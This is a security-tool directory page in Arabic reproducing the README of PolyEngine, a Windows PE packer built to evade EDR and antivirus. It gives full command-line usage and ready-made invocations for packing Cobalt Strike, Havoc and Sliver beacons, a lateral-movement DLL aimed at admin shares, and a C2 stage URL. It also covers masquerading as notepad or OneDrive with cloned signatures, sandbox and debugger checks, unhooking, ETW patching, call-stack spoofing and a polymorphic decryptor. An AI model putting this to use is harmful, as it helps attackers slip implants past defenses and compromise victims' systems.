Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PolyEngine — PolyEngine هو أداة تغليف (packer) لملفات PE التهربيه مصممة لتحديات CTF والتعليم الأمني لنظام ويندوز على المستوى المنخفض. تركز على تجاوز تقنيات الكشف الهيوريستيكية لـ EDR وAV من خلال طبقات متداخلة من التنفيذ في الذاكرة وتقنيات التعتيم. | Kitploit
أدوات/GitHubGitHub/longwayhomie/polyengine
توليد الحمولةالاستغلالالتهرب من IDS/IPSتحليل البرمجيات الخبيثةCTFتحليل الملفات الثنائيةالتعلم والتعليمالفريق الأحمرمكافحة الروبوتات
GitHublongwayhomie/polyengine

PolyEngine

PolyEngine هو أداة تغليف (packer) لملفات PE التهربيه مصممة لتحديات CTF والتعليم الأمني لنظام ويندوز على المستوى المنخفض. تركز على تجاوز تقنيات الكشف الهيوريستيكية لـ EDR وAV من خلال طبقات متداخلة من التنفيذ في الذاكرة وتقنيات التعتيم.

15420منذ 13 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

PolyEngine — أداة تعبئة PE متعددة الأشكال 📦

PolyEngine هي أداة تعبئة PE من فئة البحث، مصممة لتفادي الكشف، ومخصصة لتحديات CTF وتعليم أمان Windows منخفض المستوى. تركز على تجاوز خوارزميات EDR وAV من خلال مجموعة متعددة الطبقات من تقنيات التنفيذ في الذاكرة والإخفاء.

هذا مشروع جانبي كنت أعمل عليه لبعض الوقت. استخدمت Claude Code لتنفيذ وتصحيح بعض التقنيات التي أردت تنفيذها في أداة التعبئة الخاصة بي. هناك الكثير من التعليقات على الدوال وما تفعله، حيث كانت تجربة تعلم كبيرة بالنسبة لي، وClaude يقوم بذلك بشكل لا تشوبه شائبة (أنا سيء فيه). آمل أن يساعد بعض الأشخاص في تعلم بعض التفاصيل الداخلية لـ Windows أو في تجاوز بعض برامج مكافحة الفيروسات والكشف الثابت من الحلول المتقدمة عندما تواجه مختبرات ProLabs تلك 🏯.

🔥 شكر كبير لـ MalDevAcademy على جميع المواد المستخدمة في إنشائها والإلهام.

🌩 شكر لـ vx-underground للإلهام عبر تغريدة سخيفة مع قطة سخيفة.

إخلاء مسؤولية: هذه الأداة مخصصة حصريًا لاختبار الأمان المصرح به، ومسابقات CTF، والاستخدام التعليمي. يُحظر الاستخدام ضد الأنظمة دون إذن صريح. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.


الاستخدام

ترتيب البناء: Stub أولاً، ثم Builder. إصدار Stub Release|x64 يُنتج stub_v0.bin..stub_v3.bin؛ Builder يُضمّن واحدًا في .rsrc.

تأكد من وجود stub_v0.bin..stub_v3.bin في دليل العمل (أو مرر --stub).``` Builder.exe [OPTIONS]

Target PE (.exe/.dll) or raw shellcode (.bin) Payload type is auto-detected from the MZ header - no flag needed. Output executable

Loader: --stub Loader stub PE [default: random ./stub_v0.bin..stub_v3.bin] --preset PRINT|MEDIA|NETWORK|RANDOM Module stomping DLL preset [default: PRINT] --overload Module overloading instead of stomping (NtCreateSection/NtMapViewOfSection, not in PEB LDR) --keep-alive ExitThread(0) instead of ExitProcess (required for C2 implants that spawn their own threads) --unhook Restore original .text bytes in ntdll/kernel32/ kernelbase from \KnownDlls\ clean copies (overwrites EDR inline hooks before any payload syscall)

Payload (PE/DLL only, silently ignored for shellcode): --export DLL export to invoke after DllMain --arg Argument passed to the export [max 127 chars]

Evasion (all ON by default): --spoof-name Process name for PEB spoof [default: random from pool] Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe SearchIndexer.exe taskhostw.exe spoolsv.exe wlrmdr.exe WMPDMC.exe hvix64.exe --exec-ctrl-name Semaphore name for exec-ctrl check [default: wuauctl] (max 31 chars) --sleep-fwd-ms Sleep duration for sleep-fwd check [default: 500] Detection threshold: 90% of elapsed --uptime-min Uptime threshold for uptime check [default: 2] --hammer-s API-hammer delay duration [default: 3] --disable <token,token...> Disable one or more features (comma-separated, repeatable)

OPSEC tokens: etw EtwEventWrite patch (ETW telemetry suppression) spoofing Call-stack spoofing (SilentMoonwalk RSP pivot) peb PEB path/cmdline spoof tls TLS anti-debug callback (patches loader stub before embedding)

Sandbox/debug check tokens: hammer API-hammer timing delay (VirtualAlloc/Free loop) debugger Debugger detection (PEB flags / NtQueryInformationProcess) api-emu API emulation probe (RtlComputeCrc32 identity check) exec-ctrl Execution-control semaphore (re-execution detection) sleep-fwd Sleep-forwarding detection (timing) uptime System uptime check cpu CPU count check (< 2 logical cores) screen Screen resolution check (<= 1024 px width) files Recent-files count check (< 5 RecentDocs subkeys) all Disable every token listed above

Identity spoofing: --pfx PFX certificate container to sign the output with --pfx-pass PFX passphrase [omit if PFX has no password] --ts-url RFC 3161 timestamp URL [default: no timestamping] OPSEC: timestamping reveals build IP/time to the TSA. Enable only when signing from an isolated VM, or when the signature must survive cert revocation. --clone-meta <donor.exe> Clone VERSIONINFO, icon, and Authenticode cert directory from a donor PE (e.g. notepad.exe, OneDrive.exe). Explorer "Details" tab shows donor company/product/version; file icon matches donor; "Digital Signatures" tab shows donor's signer (HashMismatch — defeats visual inspection only). Name output to match donor OriginalFilename field. When combined with --pfx: real signature overwrites cloned cert. --uac Embed a UAC elevation manifest (requireAdministrator). Output PE prompts for admin privileges on launch. Applied as Phase 10.5 (after packing, before signing).

Examples: Builder.exe implant.exe packed.exe Builder.exe implant.exe packed.exe --stub stub_v2.bin Builder.exe shellcode.bin packed.exe --keep-alive Builder.exe beacon.dll packed.exe --export Start --keep-alive Builder.exe payload.dll packed.exe --export Execute --arg "calc.exe" Builder.exe implant.exe packed.exe --preset NETWORK --disable etw,tls Builder.exe implant.exe packed.exe --overload --hammer-s 5 --uptime-min 5 Builder.exe implant.exe packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000 Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx Builder.exe implant.exe packed.exe --uac Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx

root@kitploit:~
---

## أمثلة

أمثلة عملية مجمعة حسب السيناريو. كل علامة اختيارية (الإفلات مفعل بالكامل افتراضيًا)، لذا فإن أبسط استدعاء يحصل بالفعل على المكدس الكامل.

<details>
<summary><b>التعبئة الأساسية - EXE / DLL / shellcode</b></summary>

قم بتعبئة ملف EXE غير مُدار. يقوم المُنشئ باكتشاف رأس `MZ` تلقائيًا ويتوجّه عبر مسار RunPE:```
Builder.exe implant.exe packed.exe

احزم شيلكود خامًا مستقلًا عن الموقع (Cobalt Strike .bin، msfvenom -f raw، إلخ). لا MZ → استدعاء مباشر في المخزن المؤقت المُفكوك:``` Builder.exe beacon.bin packed.exe

root@kitploit:~
احزم DLL واستدعِ `DllMain` الافتراضي فقط (بدون تصدير):```
Builder.exe payload.dll packed.exe

استخدم دليلاً من مسار غير افتراضي:``` Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin

root@kitploit:~
</details>

<details>
<summary><b>حمولات DLL مع الصادرات - Havoc / Sliver / منارات مخصصة</b></summary>

استدعِ تصديرًا مسمى بعد عودة `DllMain`. تُرسل معظم أدوات الاختراق C2 كـ DLL مع تصدير دخول واحد (مثل Havoc Demon: `Start`، Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive

مرر وسيطة نصية إلى التصدير (الحد الأقصى 127 حرفًا). مفيد للحمولات التي تأخذ سلسلة تكوين أو عنوان URL أو أمر شل:``` Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage" Builder.exe loader.dll packed.exe --export Run --arg "C:\Windows\System32\calc.exe"

root@kitploit:~
`--keep-alive` مطلوب لأي حمولة تقوم بإنشاء خيوط خاصة بها - بدونها يستدعي المحمل `ExitProcess` ويقتل المنارة (beacon).

</details>

<details>
<summary><b>الزرعات طويلة الأمد (منارات C2)</b></summary>

تقوم أدوات Cobalt Strike / Sliver / Havoc جميعها بإنشاء خيط منارة (beacon thread) والعودة. يجب أن ينتهي خيط المحمل (loader thread) دون إيقاف العملية:```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
الإعدادات المسبقة لـ Module stomping - اختيار DLL مضيف

يتم إخفاء الدعامة لفك التشفير داخل قسم .text لـ DLL ويندوز غير ضار. اختر الإعداد المسبق الذي تبدو وحداته المحملة أكثر شرعية للسياق الهدف:``` Builder.exe implant.exe packed.exe --preset PRINT Builder.exe implant.exe packed.exe --preset MEDIA Builder.exe implant.exe packed.exe --preset NETWORK Builder.exe implant.exe packed.exe --preset RANDOM

root@kitploit:~
`PRINT` (الافتراضي) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. شائعة على معظم محطات العمل.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. يناسب حمولة تحتاج بالفعل لواجهات برمجة الشبكة محملة.
`RANDOM` - ثلاثة فهارس عشوائية من المجموعة الكاملة (بما في ذلك `bcrypt.dll`, الفهرس 9).

التحول من استبدال `LoadLibraryW` إلى إعادة تحميل `NtCreateSection`+`NtMapViewOfSection` (DLL لا يدخل أبدًا `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
إزالة خطافات EDR من مساحة المستخدم

استعادة بايتات .text النظيفة لـ ntdll و kernel32 و kernelbase من \KnownDlls\ على أي خطافات مضمنة من EDR. HellsHall يتجاوز بالفعل خطافات Nt* الحساسة؛ --unhook مطلوب فقط عندما يقوم الحمولة نفسها باستدعاء واجهات Win32 المربوطة (مثل LoadLibrary، CreateProcess):``` Builder.exe implant.exe packed.exe --unhook Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive

root@kitploit:~
</details>

<details>
<summary><b>انتحال PEB - تمويه العملية</b></summary>

تجاوز اسم الانتحال المختار تلقائيًا. اختر اسمًا يتناسب مع العملية الأم / سياق الإطلاق (ماكرو Office → `RuntimeBroker.exe` قد يبدو غريبًا، بينما `WmiPrvSE.exe` يندمج بشكل أفضل):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
ضبط عتبات التهرب

تأخير hammer أطول ضد صناديق الرمل الصبورة التي تعمل لعشرات الثواني قبل الحكم:``` Builder.exe implant.exe packed.exe --hammer-s 10

root@kitploit:~
عتبة زمن تشغيل أعلى - شغّل فقط إذا كان الجهاز قد تم تشغيله لمدة 30 دقيقة على الأقل (معظم بيئات الاختبار المعزولة تقوم بتشغيل جهاز افتراضي جديد لكل عينة):```
Builder.exe implant.exe packed.exe --uptime-min 30

الكشف الأكثر صرامة عن توجيه النوم (نوم أقصر، يصعب تقديم الوقت بسرعة دون خطأ ملحوظ):``` Builder.exe implant.exe packed.exe --sleep-fwd-ms 200

root@kitploit:~
اسم الإشارة المخصص لفحص التحكم في التنفيذ (تجنب التعارض مع عينة أخرى تستخدم `wuauctl` الافتراضي):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync

كدس كل شيء من أجل ملف تعريف بجنون الارتياب:``` Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate

root@kitploit:~
</details>

<details>
<summary><b>تعطيل الميزات لأغراض التصحيح / العمل المخبري</b></summary>

عند التكرار داخل مصحح الأخطاء، يتم تشغيل استدعاء TLS وفحوصات مصحح الأخطاء فورًا. قم بتعطيل كليهما للإرفاق بحرية:```
Builder.exe implant.exe packed.exe --disable tls,debugger

تجاوز جميع فحوصات وضع الحماية (مع الإبقاء على ميزات OPSEC قيد التشغيل - تصحيح ETW، تزوير PEB، تزوير مكدس الاستدعاء):``` Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files

root@kitploit:~
نفس الشيء، أقصر:```
Builder.exe implant.exe packed.exe --disable all

تعطيل ميزات OPSEC محددة (على سبيل المثال، عندما لا تحتاج البيئة المستهدفة إلى تصحيح ETW، أو عندما يؤدي تزييف PEB إلى تعطيل حمولة تتنقل في PEB الخاص بها):``` Builder.exe implant.exe packed.exe --disable etw Builder.exe implant.exe packed.exe --disable peb,spoofing

مجموعات واقعية

Cobalt Strike beacon DLL، مضيف ذو طابع شبكي، إخفاء كامل، اسم موتكس مخصص:``` Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate

root@kitploit:~
Havoc Demon shellcode، overloading بدلاً من stomping، تأخير hammer أطول:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6

Stage-2 EXE لـ CTF حيث تتحكم في المشغل ولا تحتاج إلى anti-debug:``` Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger

root@kitploit:~
ملف DLL مساعد للحركة الجانبية مع وسيط مسار:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook

زرع طويل الأمد متنكر كملف ثنائي شائع من مايكروسوفت، كومة تهرب كاملة:``` Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10

root@kitploit:~
عينة مضغوطة مع شهادة موقعة ذاتيًا حقيقية + هوية VERSIONINFO مطابقة:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test

بناء

Visual Studio 2022 (MSVC v143)، Release|x64 فقط. افتح PolyEngine.sln.

ترتيب البناء مهم:

  1. مشروع Stub (Release|x64) ← MSBuild fan-out يصدر x64/Release/stub_v0.bin … stub_v3.bin (POLY_VARIANT=0..3)
  2. مشروع Builder ← ينتج Builder/x64/Release/Builder.exe (أو OutDir الحل)

كل stub_v*.bin هو PE مع نقطة دخول الرابط EntryPoint فقط (بدون CRT). تختلف المتغيرات في ترتيب مرحلة OPSEC وتخطيط التضليل/الجزيرة؛ HellsHall/Moonwalk تبقى مشتركة. يختار Builder واحدًا عشوائيًا من دليل العمل الحالي (أو عبر --stub)، ويشغل StubMorph، ثم يدمج الحمولة تحت معرف RT_RCDATA خاص بكل بناء.

MASM: Stub.vcxproj ← HellsHall.asm; Builder ← Engine/DecryptorStub.asm. لا CMake، ولا Makefile.

لإضافة تجزئة API جديدة: احسب Djb2HashA("ApiName") (نفس الخوارزمية كما في ApiHashing.cpp)، أضف متغير عام g_Hash_* في ApiHashing.h، وقم بتهيئته في ApiHashing_InitHashes().


نظرة عامة على البنية

ثلاثة مكونات تنفذ خط أنابيب حزم ← تشفير ← حقن: Builder يحزم PE/شيلكود المدخل، Engine (مكتبة مشتركة) يوفر أساسيات التشفير/الضغط/التحوير، Stub هو المنفذ في وقت التشغيل المضمن في PE الناتج.

تفاصيل خط الأنابيب + تدفق تنفيذ Stub``` Builder.exe ├── picks loader stub (random stub_v0..v3.bin, or --stub ) ├── reads target PE or raw shellcode (.bin) ├── LZNT1 compress ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key) ├── MutationEngine → unique polymorphic ASM decryptor per build ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices ├── XTEA-CTR encrypt (outer layer) ├── BuildInfectedPE: │ ├── patch TLS guard marker (--disable tls) │ ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID │ ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize │ ├── write stub → output PE │ └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata] ├── (optional) UAC manifest / clone-meta / Authenticode sign └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload) ├── Loader_InitApis — ApiHashing_InitHashes + resolve kernel32 APIs ├── Loader_LoadPayload — GetPayloadFromResource (280-byte metadata / opsecFlags) ├── Loader_Evasion — HammerDelay + RunChecks (Win32 only, before syscalls) ├── Loader_InitSyscalls — FreshyCalls SSN sort + InitNtApi (HellsHall bind) ├── Loader_OpsecPhase — order depends on POLY_VARIANT (0..3): │ Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb │ (HellsHall.asm + g_Spoof* layout identical in every variant) ├── Loader_DecryptExec — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload); │ LZNT1 decompress; restore stomped .text └── Loader_RunPayload — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode); keep-alive: ExitThread (PE) or Sleep park (raw SC)

root@kitploit:~
</details>

---

## تقنيات التهرب

<details>
<summary><b>متغيرات المحمل — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

إصدار Stub | إصدارات x64 تبني **أربعة** محملات عبر MSBuild (`POLY_VARIANT=0..3`, `IntDir` منفصلة). كل ثنائي له ترتيب مراحل OPSEC مختلف وأحجام خداع/جزر لكل متغير (`PolyIslands.c`)، لذا تتباعد التجزئات الثابتة. المشتركة و**أبدًا** المفرّعة لكل متغير: `HellsHall.asm`، تخطيط بيانات SilentMoonwalk (`g_SpoofSyntheticStack`)، علامات TLS/ResID.

| المتغير | ترتيب `Loader_OpsecPhase` |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

المنشئ بدون `--stub` يختار عشوائيًا من بين `stub_v0.bin`..`stub_v3.bin` في دليل العمل الحالي (`CryptGenRandom`). `--stub <path>` يفرض ملفًا واحدًا.

</details>

<details>
<summary><b>StubMorph أثناء التجميع</b></summary>

بعد تطبيق علامات TLS/ResID وقبل كتابة PE الناتج، يقوم `StubMorph_Apply` (`Engine/StubMorph.c`) بتحوير صورة المحمل المختارة في مكانها:

- `TimeDateStamp` معقول مسحوب من **[الآن−5 سنوات، الآن]** — كلمة DWORD عشوائية بالكامل قد تقع في المستقبل، وهو علامة استدلالية
- أسماء أقسام نمط سلسلة الأدوات (نمط MSVC / MinGW / Delphi / NSIS، يُختار لكل بناء؛ يتخطى `.rsrc`، `.reloc`، `.tls`، `.CRT`) — أسماء عشوائية مكونة من 8 أحرف قد تثير استدلالات برامج التغليف من نمط UPX
- مسح `IMAGE_DIRECTORY_ENTRY_DEBUG` + مجموع اختباري PE (يُعاد حسابه لاحقًا إذا `--pfx`)
- إعادة كتابة حشوات جزيرة POLY (`50 4C 59 A0` … علامات `AF` في `PolyIslands.c`، بما في ذلك جزيرة `g_PolyDecoy`) ببايتات عشوائية من **نفس الطول**، ثم عشوائية علامات الوسوم نفسها — لا يبقى نمط `PLY` أو محتوى خادع ثابت في PE الناتج؛ لا نمو لـ PE، لا إصلاحات موقع نسبي

لا يلمس HellsHall، أو المتغيرات العالمية المخادعة، أو علامات الوسوم المستخدمة في تصحيح TLS/ResID.

</details>

<details>
<summary><b>استدعاءات النظام غير المباشرة — HellsHall</b></summary>

جميع عمليات NT الحساسة (`NtProtectVirtualMemory`، `NtAllocateVirtualMemory`، إلخ.) تمر عبر استدعاءات نظام غير مباشرة بدلاً من مثبتات وضع المستخدم المعلقة في ntdll للعملية:

1. عند بدء التشغيل، يقوم `Syscalls_Init()` بتحليل دليل التصدير في ntdll للعملية وجمع كل RVA لدالة `Zw*` في جدول مسطح.
2. تُشتق أرقام SSN بواسطة **ترتيب RVA** (متغير HellsGate/FreshyCalls): يتم ترتيب جميع RVAs لـ `Zw*`؛ الفهرس المرتب == SSN. مقاوم للعلامات بالتصميم — يعمل حتى لو أعادت العلامات في EDR كتابة مقدمات الدوال، لأن العلامات لا تعيد ترتيب التصديرات.
3. يتم تحديد كعب روتين `syscall; ret` (`0F 05 C3`) داخل قسم `.text` في ntdll للعملية. تسلسل البايتات الثلاثة هو الذيل القياسي لكل كعب `Nt*`. تستهدف علامات التضمين الخطية في وضع المستخدم من EDR *نقطة الدخول* لدوال `Nt*` المصدرة (أول 5-15 بايت) — أبدًا تعليمة syscall في نهاية الكعب، لأن تصحيح منتصف كعب سيكسر دلالاته. لذا فإن البايتات في أي موقع مطابق غير معدلة، مطابقة لخريطة `\KnownDlls\` النظيفة، وتعيش في ذاكرة MEM_IMAGE المدعومة بـ `C:\Windows\System32\ntdll.dll` على القرص. يشير `g_CleanTrampoline` إليها مباشرة — لا خريطة ثانوية لـ ntdll، ولا نسخة MEM_PRIVATE.
4. جميع استدعاءات النظام تقفز إلى `g_CleanTrampoline` — يتم تجاوز علامات EDR عند نقاط دخول Nt* المصدرة. من منظور متتبع مكدس جانب النواة ETW، فإن الإطار الورقي يقع بالفعل داخل `ntdll.dll` (لا يوجد IOC "استدعاء نظام غير مدعوم").

</details>

<details>
<summary><b>إلغاء تعليق وضع المستخدم — <code>--unhook</code></b></summary>

مرور اختياري يُجرى مرة واحدة بعد `Syscalls_Init()` وقبل أي استدعاء نظام ذي صلة بالحمولة. لكل من `ntdll`، `kernel32`، `kernelbase`:

1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — بايتات صورة نظيفة (نفس القسم المشترك الذي قام المحمل بتعيينه أصلاً، قبل أن يتمكن أي EDR من تثبيت علامات).
2. `memcmp` صفحة بصفحة لـ `.text` الحي مقابل النسخة النظيفة.
3. حيث تختلف البايتات (= علامة EDR خطية): `NtProtect RX→RW`، `memcpy` بايتات نظيفة فوق العلامة، `NtProtect RW→RX`.
4. إلغاء التعيين والإغلاق.

هذا يستعيد دلالات `ntdll.dll`/`kernel32.dll`/`kernelbase.dll` الطبيعية لأي استدعاء Win32 لاحق (تجولات PEB، `LoadLibrary`، إلخ.). يُتجاوز عندما يُحذف `--unhook` — HellsHall وحده يتجاوز بالفعل جميع علامات `Nt*` الحساسة، لذا فإن إلغاء التعليق اختياري (إنه إجراء أثقل مع خطر صغير لتعطيل تخطيطات العلامات غير المعتادة).

</details>

<details>
<summary><b>تزوير مكدس الاستدعاءات — محور RSP SilentMoonwalk</b></summary>

تراقب EDRs مكدس استدعاءات الخيط في لحظة إطلاق استدعاء نظام للتحقق من أن سلسلة المستدعي تبدو مشروعة. يتغلب PolyEngine على هذا بـ **محور RSP بنمط SilentMoonwalk** — لا نقاط توقف أجهزة، لا معالج VEH، لا استثناءات:

1. يقوم `StackSpoof_Init()` بمسح `.text` لـ ntdll (وأي قسم آخر من `IMAGE_SCN_MEM_EXECUTE`) بحثًا عن اثنين من الأدوات:
   - **الأداة 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) داخل دالة يُعلن `UNWIND_INFO` الخاص بها عن تطابق في فرق التخصيص `imm8`. مقيدة بـ `imm8 < 0x20` حتى لا يتصادم السلسلة مع وسائط المكدس المُمررة.
   - **الأداة 2** — `jmp rbx` (`FF E3`)، تقع في أي قسم قابل للتنفيذ بواسطة مسح بايت خام، ولكن تُقبل فقط إذا كان الموقع المطابق يقع داخل `RUNTIME_FUNCTION` الذي يُحلل `UNWIND_INFO` بشكل نظيف. يحدد `allocDelta` الخاص بالدالة أين يُزرع `RtlUserThreadStart` على المكدس الاصطناعي، لذا فإن الأداة بدون دالة زمن تشغيل مطابقة ستعطل السلسلة المرئية لـ EDR. القفز إلى منتصف تعليمة أطول أمر مقبول — تقوم وحدة المعالجة المركزية بفك تشفير `FF E3` من عنوان الأداة بغض النظر عن البايت السابق.
2. يتم تخطيط `g_SpoofSyntheticStack[32]` ثابت بحيث يسير إرجاع الكعب من الأداة 1 → الأداة 2 → العودة إلى نقطة استمرار المحمل، مع زرع `RtlUserThreadStart` في الأسفل كجذر خيط ظاهر.
3. كل استدعاء لـ `HellsHallSyscall` (عند تمكين التزوير) يقوم بـ `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11`. ترى النواة RSP يشير إلى المكدس الاصطناعي، مرساة في كود ntdll مشروع.
4. وسائط استدعاء النظام القائمة على المكدس (5..10) تُمرر من إطار المستدعي إلى المكدس الاصطناعي عند الإزاحات `0x28..0x50` *قبل* المحور — بدون هذا، ستقرأ النواة عناوين الأدوات كوسائط وترجع `STATUS_ACCESS_VIOLATION`.
5. بعد استدعاء النظام، يهبط `jmp rbx` للأداة 2 على `AfterJmpPoint`، الذي يستعيد RSP من `g_SpoofSavedRsp`، ويُنفذ `pop rbx`، ويعود إلى المحمل.
6. يقوم `StackSpoof_Cleanup()` بمسح `g_SpoofEnabled` بحيث ترى خيوط الحمولة الخاصة عناوين إرجاع حقيقية.

</details>

<details>
<summary><b>طمس الوحدات / تحميل الوحدات الزائد</b></summary>

بدلاً من `VirtualAlloc(RWX)`، يعمل وحدة فك التشفير متعدد الأشكال داخل قسم `.text` لملف DLL Windows محمل بشكل شرعي. لا يتم تخصيص ذاكرة RWX أبدًا.

**الطمس (افتراضي — `LoadLibraryW`، يظهر DLL في PEB LDR):**

1. يقوم `ModuleStomp_Alloc()` بالتكرار عبر ملفات DLL الثلاثة المحددة بواسطة `--preset`. يتم تخزين مؤشرات DLL في `.rsrc` وحلها من `g_DllPool` في وقت التشغيل.
2. يتم اختيار أول DLL يحتوي على قسم قابل للتنفيذ كبير بما يكفي لكعب فك التشفير.
3. يتم حفظ بايتات `.text` الأصلية إلى مخزن مؤقت خاص `RW` قبل لمس القسم.
4. يُنسخ كعب فك التشفير (فقط) إلى المنطقة المطموسة. تبقى كتلة الحمولة في تخصيص `RW` **منفصل** (`pEncryptedPayload`).
5. `NtProtect RW → RX`: تصبح المنطقة المطموسة قابلة للتنفيذ. يبقى تخصيص الحمولة `RW` — يتلقى فك التشفير عنوانه في `RCX` (وسيطة ABI Windows x64 الأولى).
6. يعمل فك التشفير، يفك تشفير `pEncryptedPayload` في مكانه. `NtProtect RX → RW` فور العودة.
7. يتم مسح المنطقة، واستعادة البايتات الأصلية، وإعادة القسم إلى `PAGE_EXECUTE_READ`.

**التحميل الزائد (`--overload` — `NtCreateSection(SEC_IMAGE)` + `NtMapViewOfSection`، NOT in PEB LDR):**

- نفس نمط الحفظ/الاستعادة وثبات عدم RWX كما في الطمس.
- يتم تعيين DLL مباشرة من مقبض الملف الخام — لا يظهر أبدًا في `PEB.Ldr`، مما يهزم الأدوات التي تُعد الوحدات المحملة.
- بعد الاستخدام: يتجاهل `NtUnmapViewOfSection` الصفحات الخاصة بنسخ الكتابة (COW)، مما يزيل كل دليل على الكتابة.

**النتيجة في كلتا الحالتين:** منطقة الذاكرة هي `MEM_IMAGE` مدعومة بملف DLL على القرص — ترى ماسحات الذاكرة خريطة صورة مشروعة، وليس منطقة `VirtualAlloc` مجهولة.

</details>

<details>
<summary><b>وحدة فك التشفير متعددة الأشكال — محرك التحوير</b></summary>

ينتج كل بناء كعب فك تشفير فريد من نوعه x64 ASM بطول 34 بايت، لا يتطابق أبدًا مع أي بناء سابق:

- **إدراج NOP / غير مرغوب** — تعليمات NOP/غير مرغوب عشوائية بين التعليمات الوظيفية، مسحوبة من مجموعة مكونة من 22 إدخالًا تغطي RBX/R10/R11/R12/R13 (PUSH/POP، XCHG، TEST، MOV نسخ ذاتي)
- **تبديل السجلات** — إعادة تعيين السجلات الوظيفية عشوائيًا عبر مجموعات مكافئة
- **استبدال التعليمات** — إصدار كل خطوة تشفير في أحد ثلاثة بدائل متكافئة دلاليًا (مثل `xor al, k` / `sub al, ~k+1` / `not al; xor al, ~k`)
- **متغيرات عدد الحلقات** — `inc r9` يتم عشوائيته بين `inc r9`، `add r9,1`، `lea r9,[r9+1]`؛ يتم تبديل المقارنة بين `cmp rdx,r9` و `cmp r9,rdx`
- **تبديل الكتل** — 4 كتل إعداد مستقلة (تصفير RCX/RDX/R10/R11) يتم إعادة ترتيبها عبر خلط Fisher-Yates (24 ترتيبًا ممكنًا)
- **تبديل ترتيب مفتاح XOR** — علامة `xorSwapped` عشوائية تقلب ترتيب تطبيق المفتاح الخارجي؛ يظل المشفر وفك التشفير متزامنين عبر بتة بيانات وصفية

يقوم تشفير CompoundEncrypt (XOR→ROL→ADD→XOR على كل بايت) بالتعيين بشكل نظيف إلى قالب فك التشفير المكون من أربع تعليمات. يصدر محرك التحوير مجموعة مختلفة من المتغيرات لكل خطوة، مما يجعل مطابقة التوقيع الثابت لحلقة فك التشفير غير مجدية.

</details>

<details>
<summary><b>كومة التشفير</b></summary>

| الطبقة | الخوارزمية | مصدر المفتاح |
|---|---|---|
| خارجية | XTEA-CTR (128-bit) | XOR أساسي مشتق وقت التشغيل لكل بناء ملح `CryptGenRandom` |
| داخلية | CompoundEncrypt (XOR+ROL+ADD+XOR) | مفتاح مركب لكل بناء باستخدام `__rdtsc`، مضمن في كعب فك التشفير |

